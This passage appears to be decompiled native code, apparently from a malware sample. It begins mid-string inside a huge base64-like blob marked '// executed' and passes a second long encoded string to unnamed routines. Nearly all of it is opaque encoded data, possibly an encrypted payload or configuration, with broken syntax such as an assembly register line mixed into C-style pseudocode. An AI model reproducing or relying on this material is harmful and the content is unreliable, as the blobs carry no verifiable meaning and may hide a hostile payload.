FWyh09wBjIcdloKHgOXIeJcZ+MT9uQmhL/wBjIfu/CZFvzCJ6dzdZp4rtIgwUUS1HYchMez6WrH2U5pEgje6z+bjLt61B6A8kP98VaTZD20lwxhAOBsXidkTGLWdgE34UQtcqExhk/S11oWxQDhdzYUOBK3oZ7YzoJflvYyxi28wX9wBjGS/jX14KCXImOvFnYyyrEgwMj5jegshEeybqCXI+vDwHB99uQmyckr66nguJWrfGTVYfjnwjR1Rm7es8/YsG7BIbF9U9aT4WtLxzGBzVhqE4UkwP4q9IbJ6mCXJuzGojR5NuQhxuekRHKcpEe2YpxlPwkHgjD9Hqaa3FdkRHpgckB02fTVaZc1wLW3Tp9+kQUhxDoCckB1YKCXIGLPFnYwyS+6rjJcUzRRs+2JHNihJ6V9vIR1TrAgwUes8LRSP3vp+LSN8KExiZKnqcy6kAUiQdMGkAmBpFJY93N3hIA3BCF6EwUizGFWdoTJ5xTZEaEyhlAFQq52xQJvflYUPBM3oxXdcaEyjDI1Qq51xQJhtaaEOLG3oxxhJ6X/NnYzShIgwsnqO+nLxI1luV61Zef/vnDxzVhuQ8/YAP6BsIF9cRXR7XT2BvziQKM2D5Hu0P4K/QX15hBd0rSDCovRihl2D9AmBniTq3oaGm", 0xffffffff); // executed
				if(_v56 >= _t264) {
					L1000E25C(_t155, _v80);
				}
				E100072DC(_t131, _t134,  &_v88, _t157, "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");
				r8d = r8d ^ r8d;
				E10006BE0(_t131, _t155, _t157, _t155, "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